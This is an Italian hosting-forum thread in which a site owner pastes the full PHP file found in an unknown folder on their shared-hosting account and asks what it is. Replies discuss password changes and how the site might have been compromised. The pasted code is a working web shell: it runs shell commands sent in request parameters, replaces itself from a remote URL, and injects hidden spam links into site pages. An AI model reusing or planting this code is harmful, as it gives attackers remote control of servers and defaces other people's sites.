Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 14
  1. #1

    Aiuto! Tentativo di accesso

    (ps. scusate non sapevo dove chiedere aiuto)
    Ho trovato una cartella nel mio server strana che non mi ricordavo di aver fatto, di nome "fwxcu"
    c'erano due file, uno txt vuoto e uno php con un'infinità di codici; ora ve lo allego
    codice:
    <?php ignore_user_abort(1); set_time_limit(0);  function Clear() { 	unlink("c"); 	unlink("1r.txt"); 	unlink("2r.txt");   unlink("log"); }  function Clear2() { 	$mrd = trim(file_get_contents("m")); 	$pt = "../$mrd"; 	$fin = file_get_contents($pt); 	$fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin);   $fin = ereg_replace("(.*)", "", $fin); 	$fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin);  	$fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin); 	$fin = ereg_replace("", "", $fin);   $fin = ereg_replace("", "", $fin);   $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin); 	$fmrd = fopen($pt, "w+"); 	fwrite($fmrd, $fin); 	fclose($fmrd); 	echo " upt-ok"; }  function GetVar($name, &$var) { 	$var = ""; 	if (isset($_POST[$name])) 		$var = $_POST[$name];    if (isset($_GET[$name])) 		$var = $_GET[$name]; 	 	if (($var) =="") 	  return  false; 	  else return true; }   function GenNew() { 	$alp = "abcdefghiklmnjsweqrtyuiopzx"; 	$maps = array(); 	if (isset($_POST["sg"])) 		$sg = $_POST["sg"];    if (isset($_GET["sg"])) 		$sg = $_GET["sg"];  		 	$path = ""; 	$fr = fopen("1r.txt", "a+"); 	if (file_exists("c")) 	{ 		$fconf = file("c"); 		$tname = trim($fconf[0]); 	} 	else  	{ 		$fconf = fopen("c", "w+"); 		$rnd = mt_rand(0, 999); 		$nm = ""; 	  for ($i=0; $i<5; $i++) 		{ 			$ran = mt_rand(0,26); 			$sym = $alp[$ran]; 			$nm = $nm.$sym; 		} 		$tname = $nm;     mkdir($tname);     fwrite($fconf, $tname); 		$pid = 0; 		$fht = fopen("$tname/.htaccess", "w+");  		$htname = $sg."2.txt"; 		$fp = fopen($htname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		fwrite($fht, $fin); 		fclose($fht);  	}   $gname = $sg."sgen.php"; 	for ($j=$pid; $j<$pid+10; $j++) 	{      		$fc = "";  		$fp = fopen($gname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		 		$arr = explode("</html>", $fin); 		//print_r($arr); 		$curs = trim($arr[1]); 		 		$newf = "$tname/$curs/"; 		echo "$newf"; 		mkdir($newf); 		$fnd = fopen("$tname/$curs/$curs".".php", "w+"); 		fwrite($fnd, $fin); 		fclose($fnd); 		fwrite($fr, "$tname/$curs/$curs".".php\n"); 		 		 	} 	 }  function Gen2() { 	$alp = "abcdefghiklmnjsweqrtyuiopzx"; 	$maps = array(); 	$md = false; 	if (isset($_POST["sg"])) 		$sg = $_POST["sg"];       if (isset($_GET["sg"])) 		$sg = $_GET["sg"];  		      if (isset($_GET["md"]))        $md = true;  	 	$path = ""; 	$fr = fopen("1r.txt", "a+"); 	$f2r = fopen("2r.txt", "a+"); 	if (file_exists("c")) 	{ 		$fconf = file("c"); 		$tname = trim($fconf[0]); 		$i_dor = trim($fconf[1]); 		$i_dor = $i_dor+0; 	} 	else  	{ 		$fconf = fopen("c", "w+"); 		$rnd = mt_rand(0, 999); 	 	$nm = ""; 	    for ($i=0; $i<5; $i++) 	 	{ 			$ran = mt_rand(0,26); 			$sym = $alp[$ran]; 			$nm = $nm.$sym; 		} 		$tname = $nm;         mkdir($tname);         fwrite($fconf, $tname."\n");         fwrite($fconf, "0\n"); 		$pid = 0; 		$fht = fopen("$tname/.htaccess", "w+"); 		$htname = $sg."2.txt"; 		$fp = fopen($htname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		fwrite($fht, $fin); 		fclose($fht);    $fht = fopen("$tname/2.js", "w+"); 		$htname = $sg."2js.txt"; 		$fp = fopen($htname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		fwrite($fht, $fin); 		fclose($fht);    		 		$f1t = fopen("1t", "w+"); 		$f1tname = $sg."1t.php"; 		$fp = fopen($f1tname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 		   $fc = fgets($fp, 1024); 		   if (!$fc) break; 		     $fin .= $fc; 		} 		fclose($fp); 		fwrite($f1t, $fin); 		fclose($f1t);  		 		 	} 	$i_dor++; 	$i_dor--; 	$a1t = file("1t");     $gname = $sg."sgen2.php"; 	for ($j=$pid; $j<$pid+10; $j++) 	{ 				 		$cth = trim($a1t[$i_dor]); 		$i_dor++; 		$fc = "";  		$fp = fopen($gname."?th=$cth", "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp);  		 			$links =""; 			 	 	if (($i_dor<196) || ($i_dor>199)) 		{ 			for ($y=0; $y<22; $y++) 			{ 				$rndi = mt_rand(0,299); 				$rth = trim($a1t[$rndi]); 				$links .= "[*] $rth  \n"; 			} 		} 		 	 		if ($i_dor==196) 		{ 			for ($y=0; $y<75; $y++) 			{ 				$rth = trim($a1t[$y]); 				$links .= "[*] $rth  \n"; 			} 		} 		if ($i_dor==197) 		{ 			for ($y=75; $y<150; $y++) 			{ 				$rth = trim($a1t[$y]); 				$links .= "[*] $rth  \n"; 			} 		} 		if ($i_dor==198) 		{ 			for ($y=150; $y<225; $y++) 			{ 				$rth = trim($a1t[$y]); 				$links .= "[*] $rth  \n"; 			} 		} 		if ($i_dor==199) 		{ 			for ($y=225; $y<300; $y++) 			{ 				$rth = trim($a1t[$y]); 				$links .= "[*] $rth \n"; 			} 		} 		$fin = ereg_replace("<LINKS2>", $links, $fin);    	$curs = $cth; 	$fnd = fopen("$tname/$curs".".php", "w+"); 	fwrite($fnd, $fin); 	fclose($fnd); 	if (($md) && ($i_dor==196 || $i_dor==197 ||  $i_dor==198 || $i_dor==199)) 	{ 		fwrite($fr, "$tname/$curs".".php\n"); 	} 	if (($md) && ($i_dor<196 || $i_dor>199) ) 	{ 		fwrite($f2r, "$tname/$curs".".php\n"); 	} }  	$fconf = fopen("c", "w+"); 	fwrite($fconf, $tname."\n".$i_dor."\n"); 	fclose($fconf); }  function Gen() { 	$alp = "abcdefghiklmnjsweqrtyuiopzx"; 	$maps = array(); 	if (isset($_POST["sg"])) 		$sg = $_POST["sg"];    if (isset($_GET["sg"])) 		$sg = $_GET["sg"];  		 	if (isset($_POST["gm"]))  	 $g = $_POST["gm"];  	if (isset($_GET["gm"])) 		$g = $_GET["gm"]; 		 		 	$path = ""; 	$fr = fopen("1r.txt", "a+"); 	if (file_exists("c")) 	{ 		$fconf = file("c"); 		$tname = trim($fconf[0]); 		$cname = trim($fconf[1]); 		$curs = trim($fconf[2]); 		$pid = trim($fconf[3]); 		if ($pid == 100) 		{ 			$pid = 0; 			$rnd = mt_rand(0, 999); 			$nm = ""; 	    for ($i=0; $i<3; $i++) 	  	{ 		  	$ran = mt_rand(0,26); 		  	$sym = $alp[$ran]; 		  	$nm = $nm.$sym; 		  } 			$cname = $nm; 			mkdir("$tname/$cname"); 			$curs = $g; 		} 	} 	else  	{ 		$rnd = mt_rand(0, 999); 		$nm = ""; 	  for ($i=0; $i<5; $i++) 		{ 			$ran = mt_rand(0,26); 			$sym = $alp[$ran]; 			$nm = $nm.$sym; 		} 		$tname = $nm; 		$pid = 0; 		$curs = $g; 		mkdir($tname); 		$fht = fopen("$tname/.htaccess", "w+"); 		$htname = $sg."2.txt"; 		$fp = fopen($htname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		fwrite($fht, $fin); 		fclose($fht); 		$rnd = mt_rand(0, 999); 		$nm = "";     for ($i=0; $i<3; $i++)   	{ 	  	$ran = mt_rand(0,26); 	  	$sym = $alp[$ran]; 	  	$nm = $nm.$sym; 	  } 		$cname = $nm; 	mkdir("$tname/$cname"); 	}   $gname = $sg."sgen.php"; 	for ($j=$pid; $j<$pid+10; $j++) 	{ 		$fp = fopen($gname."?g=$curs", "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		 		$fnd = fopen("$tname/$cname/$curs"."_$j.php", "w+"); 		fwrite($fnd, $fin); 		fclose($fnd); 	} 	 	if ($j==100) 	{ 	  $fp = fopen($gname."?g=$curs&m=1", "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); 		$fnd = fopen("$tname/$cname/$curs"."_lm.php", "w+"); 		fwrite($fnd, $fin); 		fclose($fnd); 		$map = "$path/$tname/$cname/$curs"."_lm.php"; 		fwrite($fr,"$map\n"); 	} 	 	$fconf = fopen("c", "w+"); 	fwrite($fconf, $tname."\n"); 	fwrite($fconf, $cname."\n"); 	fwrite($fconf, $curs."\n"); 	$nj = $j; 	fwrite($fconf, $nj."\n"); 	fclose($fconf); 	 }  function Update() { 	if (isset($_GET["name"])) 		$sname = $_GET["name"];  	$thisname = "$sname.php"; 	if (isset($_POST['u'])) 	  $u = $_POST['u']; 	   	if (isset($_GET['u']))  		$u = $_GET['u'];  		  	$fp = fopen($u, "r");   $fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		}   fclose($fp);      $fthis = fopen($thisname, "w+");   fwrite($fthis, $fin);   fclose($fthis); }  function Com() { 	if (isset($_POST['c'])) 	  @system($_POST['c']);   if (isset($_GET['c'])) 		@system($_GET['c']); }  function MRepl() { 	$mpt = ""; 	$drs = ""; 	$begtag = "<dd4><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">";    $endtag = "</font></body></html><dd5> ";  	$mrd = trim(file_get_contents("m")); 	$pt = "../$mrd"; 	$fin = file_get_contents($pt); 	GetVar("mpt", $mpt); 	 // ??????? ??????????? ???? ????   $fin = preg_replace ("/<\/body>/i", "", $fin);   $fin = preg_replace ("/<\/html>/i", "", $fin);   $fin = ereg_replace("(.*)", "", $fin);   $fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin); 	$fp = fopen($mpt, "r");   $drs = ''; 	while (!feof($fp)) 	{ 		 $fc = fgets($fp, 1024); 		 if (!$fc)  		 {          exit(); 		 } 	   $drs .= $fc; 	}   fclose($fp);   $fin = $fin.$begtag;     $fin = $fin.$drs;   $fin = $fin.$endtag;    $fmrd = fopen($pt, "w+"); 	fwrite($fmrd, $fin); 	fclose($fmrd); }    function WrTest() { 	$path = trim($_GET['wr']); 	$htname = $path."w.txt"; 		$fp = fopen($htname, "r"); 		$fin = ''; 		while (!feof($fp)) 		{ 			 $fc = fgets($fp, 1024); 			 if (!$fc) break; 		   $fin .= $fc; 		} 		fclose($fp); ; 	$fout = fopen("w.txt", "w+"); 	fwrite($fout, $fin); 	fclose($fout); 	 }   function Main() { 	if (isset($_POST['u']) || isset($_GET['u'])) 	{ 		Update(); 		exit(); 	} 	   	if (isset($_POST['c']) || isset($_GET['c'])) 	{ 		Com(); 		exit(); 	} 	 	if (isset($_POST['g']) || isset($_GET['g'])) 	{ 		Gen(); 		exit(); 	} 	 if (isset($_POST['g1']) || isset($_GET['g1'])) 	{ 		GenNew(); 		exit(); 	} 	 	 	if (isset($_POST['g2']) || isset($_GET['g2'])) 	{ 		Gen2(); 		exit(); 	} 	 	if (isset($_POST['s']) || isset($_GET['s'])) 	{ 		MRepl(); 		exit(); 	} 	   if (isset($_POST['cl']) || isset($_GET['cl'])) 	{ 		Clear(); 		exit(); 	} 	 	if (isset($_POST['cl2']) || isset($_GET['cl2'])) 	{ 		Clear2(); 		exit(); 	} 		if (isset($_POST['wr']) || isset($_GET['wr'])) 	{ 		WrTest(); 		exit(); 	} 	 	echo "<ok>"; 	 }  Main();  ?>

    ecco! io l'ho eliminato cosa pensate che sia? AIUTO!!!

  2. #2
    Cambia immediatamente la password di accesso FTP/Cpanel/etc. al tuo sito.
    Se usi la stessa password per altri domini, cambiala anche li.
    Poi installati un AntiVirus (es AVG Free) e fai una scansione completa del tuo PC.

  3. #3
    beh, scusami filippo, ma credo sia moltoooo difficile che gli abbiano installato (via mail, exploit o altro) qualche malware per recuperare i suoi dati di accesso cosi da poter modificare i dati di accesso del server

    è più probabile che il server o non sia gestito correttamente, ad esempio gli aggiornamenti al sistema vengono fatti di rado o non vengono fatti proprio e magari il sistema è pure vecchio, o ancora potrebbero essere installate applicazioni vulnerabili

  4. #4
    è possibile che sia stato fatto ad un altro server? io ho hostato in uno shared server
    guardate le caratteristiche:


    cPanel Version 11.24.5-RELEASE
    cPanel Build 38506
    Apache version 2.2.8 (Unix)
    PHP version 5.2.5
    MySQL version 5.0.45-community
    Architecture i686
    Operating system Linux


    che ne dite? sono aggiornate?
    (io uso Kaspersky e Windows 7)

  5. #5
    ah dimenticavo, ho installato Wordpress, phpBB e Zenphoto tutti aggiornati all'ultima versione rilasciata e nel server ci sono solo altri file, come immagini o semplici php/html di prova

  6. #6
    per shared server intendi una virtual machine?

  7. #7
    no intendo una macchina dove ci sono più siti, come fa xyz ad esempio

  8. #8
    Originariamente inviato da DanyNG
    no intendo una macchina dove ci sono più siti, come fa xyz ad esempio
    In teoria ogni utente può accedere solo al suo sito. Il tuo account ftp è legato ad una cartella, così come gli altri account ftp sono legati ad altri. Magari una persona che aveva un'account con lo stesso provider di spazio web (può anche non essere un utente di quel provider comunque) ha messo qualche programma a lavorare per generare utenti e password. Ma come detto da daniele_dll le possibilità sono molte.

  9. #9
    Originariamente inviato da DanyNG
    no intendo una macchina dove ci sono più siti, come fa xyz ad esempio
    è VIETATO parlare di hosters ed hosting, bastava la prima parte della frase per far capire ....

    Detto questo, quindi sei in un hosting condiviso, non hai un server, come sembrava dal primo post! Beh, allora, oltre a tutto quello detto prima si aggiunge la possibilità che ci sia uno degli innumerevoli siti presenti sul server che sia stato bucato ed usato come ponte per accedere agli altri

  10. #10
    ah scusami... ma quindi non c'è un modo per proteggere la cartella?

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.